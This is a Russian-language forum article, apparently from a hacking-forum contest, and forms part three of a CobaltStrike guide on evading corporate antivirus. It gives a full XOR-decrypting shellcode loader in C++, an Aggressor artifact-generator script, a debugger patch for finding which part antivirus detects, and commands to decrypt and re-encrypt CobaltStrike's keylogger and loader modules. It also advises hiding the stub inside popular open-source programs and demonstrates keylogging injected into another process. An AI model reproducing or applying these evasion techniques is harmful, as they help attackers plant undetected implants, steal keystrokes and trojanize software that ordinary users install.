• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CobaltStrike от А до Я (3 часть.)

DarthVader

HDD-drive
Пользователь
Регистрация
24.11.2019
Сообщения
31
Реакции
236
Вообще существует в проекте 3+ статьи, но в конкурсе будет участвовать одна, а именно 3 статья.
Если эта статья займет хоть какое-то место, то я размещу здесь остальные две части. (большее количество статей зависит от того, какое место займет данная статья)
Первая статья о том, как создать безопасную боевую машину с нуля.
Вторая статья о том, как защититься от атак антивирусных специалистов на ваш командный сервер.
Ну, и третья, а именно эта, о том, как противодействовать системам защиты, а именно корпоративным антивирусам.
Я посчитал эту тему более важной, чем даже какой-то там зеродей, - прочитав эту статью вы поймете почему я так думаю...
Статья разделена на две части. первая часть статьи предназначена для начинающих, а вторая часть статьи предназначена для профессионалов.

Давайте начнем с банальной теории, так как без нее никуда, и далее посмотрим на это все в реально боевых условиях.
Представим, что вы начитались приватных статей о том, как закрепиться в системе и научились использовать годного зеродея.
Взяли в руки знамя победы и стуча в барабаны побежали на баррикады, чтобы захватить как можно больше уязвимых систем.
Но ваша радость продлиться не долго, так как ваш маяк(beacon)/артефакт не будет иметь отстука. (пусть даже закриптованный мегаприватным криптором и имеющий FUD Scantime и Runtime)
Давайте теперь смоделируем ситуацию и посмотрим почему так происходит.
С начала взглянем на возможности, которые нам предоставляет сам CobaltStrike, а именно на некоторые опции в файле профиля.
Код:
stage {
    set allocator           "HeapAlloc";    
    set name                "winrar.dll";
    set module_x86          "mshtml.dll";
    set checksum            "0";
    set entry_point         "180000";
    set image_size_x86      "5977600";
    set userwx                 "false";
    set cleanup                "true";
    set stomppe                "true";
    set obfuscate            "true";
    set rich_header         "";
    
    set sleep_mask          "true";
    set smartinject         "true";

    transform-x86 { # transform the x86 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "getIndex"; # Change this text
        strrep "This program cannot be run in DOS mode" ""; # Remove this text
        strrep "beacon.dll" ""; # Remove this text
    }
}

Видим достаточно много настроек с помощью которых мы можем изменить наш маяк(beacon) чтобы избежать антивирусных детектов.
Ок. создаем наш маяк(beacon) (см. третий скриншот) и закриптуем его мегаприватным криптором и на выходе получим FUD Scantime и Runtime:
Запускаем наш маяк(beacon) на тестовой виртуальной машине с установленным антивирусом.
Здесь хочу уточнить, я взял для примера, древний антивирус ESET Endpoint Antivirus v5
Естественно, обновил базы, чтобы EEA v5 мог задетектить свежий билд CobaltStrike
И видим на скриншоте, что наш засранчик запустился и пытается отстучаться на командный сервер - все работает:
3-1.png


Далее представим, что как только маяк(beacon) начнет стучать на командный сервер, то сработает firewall (для примера COMODO) и сообщит, что какой-то процесс пытается соединиться с таким-то IP.
Соответственно заставляя юзера инициализировать сканирование памяти антивирусом.
И вуаля, наш хорошо прожаренный бекон(beacon) был съеден динозавром ESET Endpoint Antivirus v5, древнее может быть только ESET NOD32 Antivirus v4 десятилетней давности...
3-2.png


Как же так, ведь если почитать справку CobaltStrike, то можно узнать из нее, что, ну например, obfuscate:
Obfuscate the Reflective DLL’s import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
Или, например, sleep_mask:
Код:
Obfuscate Beacon, in-memory, prior to sleeping
Но на практике банальное сканирование памяти, сводит на нет реализацию данных опций в профиле.
ВАЖНО: стоит также отметить, что сейчас антивирусы имеют на борту сканеры памяти, которые не нужно вручную запускать, они все сами сделают и предотвратят угрозу даже не спрашивая юзера.

Теперь, когда, мы узнали, что даже закриптованный маяк(beacon) не будет защищен от антивируса.
А раз нас так примитивно задектить могут, то и бессмысленным становится закрепление в системе и т. д.
ВАЖНО: многие, не понимая истиной причины детектов антивирусами начинают винить крипт, но как видим на практике крипт здесь позволил зловреду запуститься без проблем, но так как сам маяк(beacon) не чистится автором CobaltStrike мы имеем в результате плачевный результат.
Стоит также отметить, что это не единичная проблема, я также некоторые проблемы затрагиваю в первой и во второй статьях. (в частности, атаки на командный сервер...)

Ну вот теперь мы и подошли к самому главному, как же противостоять подобным детектам?
Автор CobaltStrike'а советует при возможности генерировать артефакт с уже встроенным в него beacon.dll, а именно:

3-3.png


У данного варианта есть существенный недостаток - это размер артефакта и в билд вшивается паблик ключ для шифрования трафика, если в командном сервере изменить/удалить файл .cobaltstrike.beacon_keys (всегда делайте резервную копию данного файла), то маяк(beacon) не сможет общаться с сервером, так как невозможно будет расшифровать приходящий трафик.
Но есть и огромные плюсы у данного метода генерации артефакта, я подробно об этом написал во второй статье.
Этот артефакт состоит из двух частей, первая - это стаб для расшифровки payload, и вторая - сам зашифрованный payload, который находится в секции .data
Нам надо понять какую часть детектит антивирус ESET Endpoint Antivirus v5, а для этого нам нужно установить заглушку, а по факту не дать отработать коду payload
Быстро это можно сделать просто пропатчив код в самом артефакте и после этого закриптовать этот пропатченый артифакт. Сказано - сделано:
Код:
00402CD0     8D4C24 04               LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4     83E4 F0                 AND ESP,FFFFFFF0
00402CD7     FF71 FC                 PUSH DWORD PTR DS:[ECX-4]
00402CDA     55                      PUSH EBP
00402CDB     89E5                    MOV EBP,ESP
00402CDD     53                      PUSH EBX
00402CDE     51                      PUSH ECX
00402CDF     83EC 10                 SUB ESP,10
00402CE2     E8 09FBFFFF             CALL 004027F0
00402CE7     C70424 00000000         MOV DWORD PTR SS:[ESP],0
00402CEE     E8 4DEBFFFF             CALL 00401840
00402CF3     8B1D 98814400           MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9     C70424 10270000         MOV DWORD PTR SS:[ESP],2710
00402D00     FFD3                    CALL EBX
00402D02     50                      PUSH EAX
00402D03     EB F4                   JMP SHORT 00402CF9

Это то место, где нужно пропатчить - это можно сделать в любом отладчике.
А пропатчить можно вот так:
Код:
00402CD0     8D4C24 04               LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4     83E4 F0                 AND ESP,FFFFFFF0
00402CD7     FF71 FC                 PUSH DWORD PTR DS:[ECX-4]
00402CDA     55                      PUSH EBP
00402CDB     89E5                    MOV EBP,ESP
00402CDD     53                      PUSH EBX
00402CDE     51                      PUSH ECX
00402CDF     83EC 10                 SUB ESP,10
00402CE2     90                      NOP
00402CE3     90                      NOP
00402CE4     90                      NOP
00402CE5     90                      NOP
00402CE6     90                      NOP
00402CE7     90                      NOP
00402CE8     90                      NOP
00402CE9     90                      NOP
00402CEA     90                      NOP
00402CEB     90                      NOP
00402CEC     90                      NOP
00402CED     90                      NOP
00402CEE     90                      NOP
00402CEF     90                      NOP
00402CF0     90                      NOP
00402CF1     90                      NOP
00402CF2     90                      NOP
00402CF3     8B1D 98814400           MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9     C70424 10270000         MOV DWORD PTR SS:[ESP],2710
00402D00     FFD3                    CALL EBX
00402D02     50                      PUSH EAX
00402D03     EB F4                   JMP SHORT 00402CF9
Таким образом артефакт будет находиться в памяти в вечном цикле, и при этом у нас не отработает код payload
Если просканировать еще раз память, то можно увидеть, что антивирус ESET Endpoint Antivirus v5 детектит в памяти именно первую часть, а именно стаб расшифровки payload.

Теперь зная все это, мы можем почистить наш артефакт, и он будет работать как надо.
ВАЖНО: стоит отметить, что после такой чистки нам даже не нужен будет мегаприватный крипт, а мы ведь знаем, что, когда нужен срочно такой крипт... его как обычно хрен найдешь - ЗАКОН ПОДЛОСТИ. А также будет экономия денег на крипте.

В CobaltStrike есть такая вещь как скрипты, а в них можно контролировать некоторые процессы и, в частности, генератор артефакта.
Это можно сделать в обработчике(hook'е):
Код:
set EXECUTABLE_ARTIFACT_GENERATOR {
}
Более подробную информацию можно найти здесь: https://www.cobaltstrike.com/aggressor-script/hooks.html
Но перед тем, как начать писать код скрипта, нам нужно создать свой новый стаб расшифровки payload
Существующий стаб чистить уже бессмысленно, так как его почистить будет очень сложно, вернее почистить от детектов его можно, но для этого нужны знания, которых обычно у начинающих нет.
Тот метод, о котором я ниже напишу, не требует чего-то возвышенного, и достаточно иметь уровень знаний написания кода на уровне Windows HelloWorld.
Я приведу пример на C++, но можно делать реализацию на fasm/nasm/etc, delphi и т. д.
Код я упростил, до максимума, чтобы каждый мог понять.
Код:
#include <Windows.h>

#define DATA_SIZE 0x46000

#pragma pack(1)
typedef struct DATA {
    BYTE XKEY;
    DWORD size;
    BYTE payload[0];
} DATA, *PDATA;
#pragma pack()

typedef void(__cdecl *START)();

#pragma comment(linker, "/entry:EntryPoint")

#pragma data_seg(".data")
__declspec(allocate(".data")) char data[DATA_SIZE] = \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
#pragma data_seg()

int __cdecl EntryPoint()
{
    PBYTE buffer = (PBYTE)VirtualAlloc(NULL, DATA_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    PDATA pdata = (PDATA)&data[0];
    BYTE XKEY = pdata->XKEY;
    DWORD size = pdata->size;
    for(DWORD i = 0; i < size; i++)
    {
        buffer[i] = pdata->payload[i]^XKEY;
    }

    START start = (START)buffer;
    start();

    return 0;
}
Теперь нужно пояснить некоторые моменты в этом коде.
Здесь в коде мы указываем компилятору #pragma data_seg(".data") в процессе компиляции разместить в секции .data сигнатуру, состоящую из 1024 символов A и создать секцию размером, указанным в константе DATA_SIZE
Такая сигнатура нужна чтобы потом в скрипте найти нужное место и вставить туда payload, который CobaltStrike нам передаст в обработчике(hook'е) EXECUTABLE_ARTIFACT_GENERATOR
Важно также выделить место нужного размера в секции .data, если этого не сделать, то компилятор создаст просто секцию данных меньшего размера с неинициализированными данными, что будет приводить к плачевным результатам.
При запуске артефакта и в процессе его работы выделяется память VirtualAlloc и потом копируются в выделенную память данные, которые дексорятся.
Я специально взял обычный ксор(xor) в качестве шифрования, чтобы было понятно, да и в реале ESET Endpoint Antivirus v5 даже не реагирует на payload в незашифрованном виде, так что тут достаточно будет простого ксора.
Ну а далее запускается расшифрованный payload функцией start.
Все. Этот простой, без всяких заморочек код, ESET Endpoint Antivirus v5 не способен задетектить и наш маяк(beacon) будет работать без проблем даже незакриптованным.
ВАЖНО: хотелось бы сказать, что это всего лишь пример, как можно сделать, и так как этот код попал в паблик, естественно он будет уже детектиться!
Но этот код всегда можно модифицировать или использовать другой компилятор, ну например, delphi я бы его и посоветовал, так как там можно такие вещи сотворить, что антивирусы не смогут угнаться за сгенерированными рандомными сэмплами.
Все зависит только от вас и вашей фантазии.
для примера, воспринимайте это как совет: можно зайти, ну например, на github.com (или на другой подобный сайт sourceforge.net их в сети много) и попробовать поискать исходники какой-нибудь маленькой популярной программы, там обычно еще в придачу будет написано как скомпилить эту софтину, так вот берете и вставляете в нее этот код что выше, меняете где-нибудь вначале от точки входа, на код чтобы был запуск в отдельном потоке кода стаба и все, даже ничего не нужно придумывать, все за нас уже давно сделали... и пусть потом (заслуженные ветераны труда) антивирусные специалисты добавляют этот софт в свои базы антивирусов, чтобы у них были постоянные ложные детекты и жалобы от их недовольных пользователей. Нам на наш век опенсорса хватит. :)

Теперь, когда у нас есть новый годный стаб, нам нужно создать артефакт, а для этого нам нужно написать специальный скрипт:
Код:
# Arguments
#     $1 = artifact file (e.g., artifact32.exe)
#     $2 = shellcode
# Return 
#    our generated artifact
set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$handle $stub $key $index $payload $resname $buffer $edata $x');
    ($resname, $payload) = @_;

    # read in the executable template
    $handle = openf("C:\\CS43\\resources\\Stub.x86.exe");
    $stub = readb($handle, -1);
    closef($handle);
    
    # generate a random key
    $key = @();
    $key[0] = int(rand() * 253) + 1;
    
    # pack data into a buffer 
    $buffer = allocate(1024);

    # [xor key] - 1 byte
    writeb($buffer, chr($key[0]));

    # [length of payload] - 4 bytes
    writeb($buffer, pack("i-", strlen($payload)));

    # find the location of our data in the executable
    $index = indexOf($stub, 'A' x 1024);
    
    # pack our encoded payload into the buffer
    for ($x = 0; $x < strlen($payload); $x++) {
        writeb($buffer, chr((byteAt($payload, $x) ^ $key[0]) & 0xFF ));
    }
    
    # retrieve the contents of the buffer.
    closef($buffer);
    $edata = readb($buffer, -1);

    # return our encoded shellcode.
    return replaceAt($stub, $edata, $index);
}
Просьба не пугаться - это модифицированный скрипт из стандартного пакета скриптов Artifact Kit (Perl он и в Африке Perl пусть даже и называется Sleep) и этот код скрипта специально адаптирован под код нового стаба.
Отмечу здесь несколько моментов, первое - это нужно указать в скрипте путь до стаба, а именно здесь: $handle = openf("C:\\CS43\\resources\\Stub.x86.exe"); - меняете на свой и все.
И еще нужно этот скрипт подгрузить в CobaltStrike для этого нужно в меню Cobalt Strike->Script Manager и в открывшейся новой вкладке Script жмем кнопку Load и выбираем наш скрипт.
Теперь, когда мы хотим сгенерировать новый артефакт (см. третий скриншот), нужно зайти в меню Attacks->Packages->Windows Executable (S) там выбрать нужные настройки, а Output: там должен быть выставлен как Windows EXE
Ну и самое важное, если нужно сгенерировать другой вариант артефакта, то требуется обязательно выгрузить этот скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Unload.
Также, если вы вдруг изменили скрипт, ну например, путь до новой версии стаба, то обязательно нужно перезагрузить скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Reload.
Теперь, если все сделать правильно, на выходе получим FUD артефакт, который не нужно даже криптовать... :)

======================================================================================

Стоит, пожалуй, упомянуть всуе, что в CobaltStrike существует масса инструментов, при помощи которых, можно добиться положительных эффектов.
И чтобы их все описать нужно написать несколько больших статей.
Но я все же хочу указать на некоторые моменты и постараться выделить важные нюансы, которые помогут понять скрытый потенциал возможностей CobaltStrike'а.

Давайте откроем наш cobaltstrike.jar в WinRar и там можно увидеть различные директории и одна из которых будет с именем sleeve, в ней находятся различные *.dll - это "боевой арсенал" CobaltStrike и ВСЕ ЭТИ ФАЙЛЫ потенциальные детекты для антивирусов.
Код:
ВАЖНО: Разные антивирусы реагируют по-разному на различные модули CobaltStrike'а, все зависит от обстоятельств и различных нюансов... (а вообще детект детекту рознь, сегодня на радаре антивирусов ничего нет, а уже через час или два какой-нибудь модуль CobaltStrike'а может светиться детектами как новогодняя елка.)
И здесь я хочу пояснить на маленьком примере, как происходить будет подобный детект...
Для примера, давайте посмотрим на скриншот ниже:

3-4.png


Здесь я ввел команду keylogger в консоли (для наглядности - это можно сделать и через GUI), что заставит наш маяк присылать отчет о нажатых клавишах пользователем в различных программах.
Но на самом деле это всего лишь команда(actions), которая ставит задачу для нашего маяка(beacon) "подгрузить" keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) в указанный процесс (PID) в данном случае это будет процесс C:\Program Files\Common Files\Java\Java Update\jusched.exe
Да-да, здесь берется keylogger.dll и отсылается маяку(beacon) и там уже подгрызается в указанный процесс и далее эта keylogger.dll работает из-под того процесса как кейлоггер.
Если запустить блокнот и там что-нибудь написать, то в клиенте CobaltStrike во вкладке Keystrokes появится все то, что мы вводили в блокноте.
Ок. все работает и нас ESET Endpoint Antivirus v5 не замечает, но стоит только лишь просканировать память антивирусом и тут же получим детект:

3-5.png


Здесь именно в процессе jusched.exe был найден модуль keylogger.dll который и является опасным объектом для антивируса. Но наш маяк(beacon) продолжает работать, так как мы его ранее уже почистили.
Естественно, возникает вопрос, а возможно ли почистить данный модуль, - да это возможно, но требует больших знаний и здесь больше нужно будет совершить манипуляций, но эта тема уже отдельной статьи.
Я же хочу показать, как можно "подменять" уже почищенные модули в cobaltstrike.jar
keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) зашифрована, как и многие файлы, которые находятся в директории sleeve.
Для того, чтобы какие-то из этих файлов почистить от детектов антивирусов, нужно их вначале расшифровать, почистить, а потом обратно зашифровать.
Вот я и хочу здесь описать этот процесс и как это можно будет сделать, но еще также бонусным прицепом хочу пояснить для чего нужны файлы с расширением *.o

Файлы с расширением *.o - это обычные obj файлы, которые можно получить после компиляции *.c или *.cpp файлов.
Давайте для начала более детально углубимся и проясним зачем же все-таки нужны эти файлы с расширением *.o
Если посмотреть в справочнике CobaltStrike, то можно увидеть некоторые опции для профиля, ну например, allocator:
Set how Beacon's Reflective Loader allocates memory for the agent. Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc.
Нам предоставляют возможность сделать выбор. Но в реале, это указывает CobaltStrike взять файл *.o из ресурсов, а именно из директории sleeve файл BeaconLoader.HA.x86.o (если мы указали значение HeapAlloc для allocator в нашем профиле)
Расшифровать его, и достать hex-код из секции .text и вставить его в определенное место в payload
Что же такое представляет из себя этот самый код в файле BeaconLoader.HA.x86.o - тут все просто, а именно это разновидность функции загрузки модуля beacon.dll в память.
Это ничто иное как модифицированный код из ReflectiveLoader.c который можно найти на github.com
Зная это, мы можем создать свой код загрузчика, который после загрузки маяка в память, будет делать фикс в памяти тех мест, которые и вызывают детект у антивируса - вообще эта тема довольно обширна и требует написание отдельной статьи, особенно это когда касается облачных технологий.

Итак, для того чтобы сделать подмены нам нужно зашифровать наш новый *.o(obj) или даже *.dll, но тут нужно будет вначале расшифровать, почистить, а только потом зашифровать.
Так как код расшифровки достаточно большой, чтобы его тут постить, я этот код (как и другие файлы) добавил в архив, который можно скачать ниже.
Код расшифровки написан на JAVA, поэтому нужно будет из него собрать модуль jar, как это сделать в интернете полно статей, расписывающих этот процесс от и до даже для самых далеких от этой темы людей...
Стоит лишь указать команду как запускать данную утилиту, для расшифровки файлов *.o и *.dll из директории sleeve в cobaltstrike.jar
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./SleeveUtil.jar Decrypt C:\CS43\sleeve\keylogger.dll
pause
Хотелось бы отметить тот факт, что если мы допустим решили подменить BeaconLoader.HA.x86.o, то нужно понимать, что здесь есть ограничения в размере самого кода и он не должен превышать 5kb - хотя этого вполне достаточно, чтобы реализовать очень многое, да и даже, если этого не хватит, то можно воспользоваться функцией сжатия aPLib, которая настолько в размере мала, что можно считать что ее нет вообще, а сжимает код настолько хорошо, что даже лучше всех остальных алгоритмов сжатия, к примеру, того же UPX...
Как расшифровать мы уже знаем, но как же зашифровать обратно наши созданные, модифицированные или почищенные файлы?

Теперь мы подошли к утилитам, которые имеются на борту в cobaltstrike.jar
Наверное, многие уже знакомы с таким инструментом, как c2lint и который можно запустить из батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar c2profile.Lint "C:\c2.profile"
Таким образом мы можем проверить наш профиль на наличие примитивных ошибок.
В CobaltStrike существует еще (из многочисленных) один инструмент SleeveUtil
Вот эта утилита и позволит нам зашифровать нужные файлы.
Но SleeveUtil имеет специфичный формат использования, который отличается от обычного привычного нам, ну например, того же c2profile.Lint
Дело в том, что для того чтобы зашифровать файлы *.o и *.dll нужен специальный ключ, он находится в зашифрованном файле cobaltstrike.auth - более подробно я о нем писал в предыдущих статьях.
Но это еще не все, этот ключ в определенном формате должен находится в специальном файле resourcekey.bin в одной директории с cobaltstrike.jar
resourcekey.bin с нужным ключом от версии Cobalt Strike v4.3 я добавил в архив, который можно будет скачать ниже.
После того как мы разместим этот файл в одной директории с cobaltstrike.jar можно будет приступить к шифрованию *.o и *.dll файлов.
Еще одним важным условием является то, что файлы *.o и *.dll должны находится в директории resources, которую нужно создать в директории, где находится cobaltstrike.jar и уже в resources разместить нужные файлы для шифрования.
Теперь после всех этих манипуляций можно запустить утилиту шифрования из батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar common.SleeveUtil
pause
В результате будет создана директория bin, а в ней директория sleeve и вот в этой директории и будут находится годные зашифрованные файлы.
Но это еще не все, для того чтобы CobaltStrike их начал использовать, их нужно разместить в директории sleeve, которая должна также находиться в одной директории с cobaltstrike.jar
Теперь мы умеем шифровать и расшифровывать файлы *.o и *.dll
Ну хорошо, если с *.dll файлами все понятно их надо расшифровать, почистить от детектов и обратно зашифровать и все, но вот с *.o файлами дела обстоят куда сложнее.
Я хочу более подробно описать некоторые нюансы касательно файлов *.o
Просто так взять написать код в cpp файле и скомпилировать не получится, скорее все на выходе получится "неправильный" *.o(obj) с точки зрения CobaltStrike'а
Для примера, после запуска CobaltStrike'а в консоли может появиться предупреждение типа такого: Assertion failed: 1024 <= 10 (value) <= 5120 does not hold
CobaltStrike сообщает, что секция кода меньше требуемой она равна 10 байтам, а требуется минимум 1024.
Все дело в том, что компилятор создает в obj файле несколько секций кода, а парсер CobaltStrike'а берет первую, а там может быть код какой-нибудь инлайн функции размером в 10 байт.
Далее ниже я покажу как правильно создавать нужный код, но, а сейчас давайте воспользуемся утилитой OBJExecutable из cobaltstrike.jar
С помощью этой утилиты можно посмотреть данные из файлов с расширением *.o или *.obj
Вообще это некий парсер obj файлов, но он также проверяет эти самые obj файлы на валидность
Запустив эту утилиту с помощью батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar pe.OBJExecutable C:\BeaconLoader.HA.x86.obj
pause
На выходе мы получим в консоли дамп данных, где можно увидеть некоторые значения, которые могут понадобиться при определенных обстоятельствах.
Для примера, давайте посмотрим на эти данные:
Код:
.text$mn$3.Characteristics         [Code, Executable, Readable, 0x60501020]
.text$mn$3.NumberOfLinenumbers     0x0         0
.text$mn$3.NumberOfRelocations     0x0         0
.text$mn$3.PointerToLinenumbers    0x0         0
.text$mn$3.PointerToRawData        0x53e       1342
.text$mn$3.PointerToRelocations    0x0         0
.text$mn$3.SizeOfRawData           0xa         10
.text$mn$3.VirtualAddress          0x0         0
.text$mn$3.VirtualSize             0x0         0
.text$mn.Characteristics           [Code, Executable, Readable, 0x60500020]
.text$mn.NumberOfLinenumbers       0x0         0
.text$mn.NumberOfRelocations       0x5         5
.text$mn.PointerToLinenumbers      0x0         0
.text$mn.PointerToRawData          0x1d3       467
.text$mn.PointerToRelocations      0x50c       1292
.text$mn.SizeOfRawData             0x339       825
.text$mn.VirtualAddress            0x0         0
.text$mn.VirtualSize               0x0         0

Нас интересует значения .text$mn$3.SizeOfRawData 0xa 10 - мы видим размер этой секции кода равен 10 байтам.
Если посмотреть ниже, то можно заметить другую секцию кода .text$mn.SizeOfRawData 0x339 825 - но уже с другим размером секции кода.
А нам требуется минимум секция кода 1024 байта.
Теперь давайте взглянем на правильный шаблон кода (в этом примере кода, убрано все лишнее для наглядности), и разберем некоторые важные моменты:
Код:
#pragma comment(linker, "/entry:EntryPoint")
int __cdecl EntryPoint();
void __cdecl start() {
    EntryPoint();
}

#include "Header.hpp"
HMODULE GetDllBaseByHash(DWORD Hash);
LPVOID GetProcAddressByHash(HMODULE Module, DWORD Hash);

int __cdecl EntryPoint()
{
    char szWinExec[] = {'W','i','n','E','x','e','c', 0};
    char szSleep[] = {'S','l','e','e','p', 0};
    char szNotepad[] = {'n','o','t','e','p','a','d','.','e','x','e', 0};

    HMODULE hKernel32 = GetDllBaseByHash(HASH_KERNEL32);
    pGetProcAddress GetProcAddress = (pGetProcAddress)GetProcAddressByHash(hKernel32, HASH_GETPROCADDRESS);
    pWinExec WinExec = (pWinExec)GetProcAddress(hKernel32, szWinExec);
    pSleep Sleep = (pSleep)GetProcAddress(hKernel32, szSleep);

    WinExec(szNotepad, SW_NORMAL);
    while(true) { Sleep(1000); }

    int pump[] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 };
    return pump[0];
}

HMODULE GetDllBaseByHash(DWORD Hash) { . . . }
LPVOID GetProcAddressByHash(HMODULE Module, DWORD Hash) { . . . }
Первое, что хотелось бы отметить, чтобы добавить лишние байты в секцию кода (если вдруг секция кода окажется меньше чем 1024 байта), можно воспользоваться инициализацией данных в стеке, а именно int pump[] = { 0,0,... }; - добавляете нужное количество нулей и все.
Второе, ваш код (а точнее шелкод) должен быть независимым от чего-либо (вернее от всего), то есть, нужно "ручками" находить указатели на API функции и только после этого их использовать, а данные размещать непосредственно в секции кода...
Третье и самое важное стартовать ваш код должен с начала секции. Я специально показал как этого можно достичь при помощи функции void __cdecl start() {EntryPoint();} - эта функция должна быть обязательно первой даже выше всех заголовочных файлов.
А реализация всех остальных функций должна находиться ниже функции, которая определяется в директиве /entry:
После того как скомпилируется исходный код, obj можно будет найти в директории Release, если допустим компиляция осуществлялась в Visual Studio 20XX
Если все правильно сделали, то можно будет шифровать этот obj и использовать по прямому назначению.
 

Вложения

  • SleeveUtil.zip
    406.9 КБ · Просмотры: 198
а так же не забывайте менять стандартные порты 50050 в файле teamserver, а так же генерировать сертификаты, "не кобальтовские" а так же настройка профиля
Спасибо, что правильно все подметил и указал начинающим на нужные вещи, но изменение дефолтных настроек не будет достаточным, для того чтобы защититься от антивирусных аналитиков.
Есть вещи куда более опасные чем, дефолтные настройки, ну например, watermark CobaltStrike'а (особенно это касается тех, кто задумывается о покупке лицензии)
А вообще, я принципиально не использовал ссылки на интересные проекты с опенсорсных ресурсов. Да, так можно много плюсов в репу получить используя чужие наработки, с того же github.com
Но я выбрал этот очень сложный проект осознано, понимая все риски того, что данная статья с технической инфой (которая многим может быть непонятна) может даже не попасть и в первую десятку...

Конечно maleable c2profile относится больше ко второй главе (серверной части), но я кратко решил рассказать пару моментов именно тут.
Единственная работа, которую интересно было читать - как раз про профили (точнее ее часть), так что очень советую обратить внимание именно на нее, лавры у автора отнимать совсем не хочется, видно что человек небезразличен к тематике.
Просто хочу отметить тут, что для выживаемости сервера параметр "host stage" был выставлен на "false".
Это обозначает что мы лишены возможности создания staged payloads, так как именно стейджер выдаст в Вашем сервере - кс, а так же позводит любому бикону подключиться к вашей системе.
Рафаель полностью солидарен со мной (шутка конечно) и планирует совсем исключить возможность создания таких нагрузок в ближайших версиях CS, о чем он намекает нам при использовании c2lint.
думаю, что это относится к моей теме :) ну, по крайней мере все то, что написано в этом абзаце имеет прямое отношение к этому проекту.
Your Beacon payload is available to anyone that connects to your server to request it. Are you OK with this?
на самом деле автор CobaltStrike'а так скрытно спрашивает, а легально ли ты будешь использовать Cobalt Strike? - если да, то включай... :)
Cobalt Strike же позиционируется как софт для легального использования в сфере Red Team, и где-то там давно в анналах свое блога, автор CobaltStrike'а писал, что он сотрудничает с...
Да и в самом софте CobaltStrike'е есть "закладки", специально предназначенные для "антивирусных аналитиков" host_stage одна из таких вот... из четвертой статьи можно будет понять, при помощи чего ЭТО можно пофиксить... ладно, чет я увлекся и начал писать, о чем идет речь во второй статье, а мне этого делать никак не хочется...
вообще я создал этот проект специально для того, чтобы он стал обязательным для прочтения для тех, кто решит использовать Cobalt Strike для Red Team - это сейчас не видно, но я знаю, что это будет неизбежно... (пусть даже, это не оценят в рамках конкурса - пост Apocalypse является в данном случае показательным)
ведь, не каждый сможет понять причину и следствие твоего изменения host_stage на "false". Да, когда будет (если будет) релиз второй статьи - многие поймут, но...
и да, потом будет волна сожалений о том, что могло бы быть, проголосуй "я" иначе, но отмотать назад уже не получится...

sm0k3, mmamba777, mr_dopey, italianez, k11, xanterq, lbsparks
если есть желающие почитать, то обязательно появится желание и написать. :)
от меня же ничего не зависит, все решит голосование, - там мы и увидим кому действительно хочется прочитать первую и вторую статьи.
в связи с тем, что условия конкурса изменились, то шанс релиза первых двух и более статей минимален, но...
я был бы не я, если бы не подлил бочку бензина в огонь, пусть даже и сам сгорю...
взвесив все факты, я решил до завершения конкурса запостить еще одну статью, а именно четвертую. :)
возможно, эта новая статья увеличит шанс того, что вы сможете прочитать первые две статьи...
это будет не новая заявка на участие в конкурсе, а просто продолжение этого проекта - ведь это проект, а не одна статья...

где вбить подписку на остальное?)))
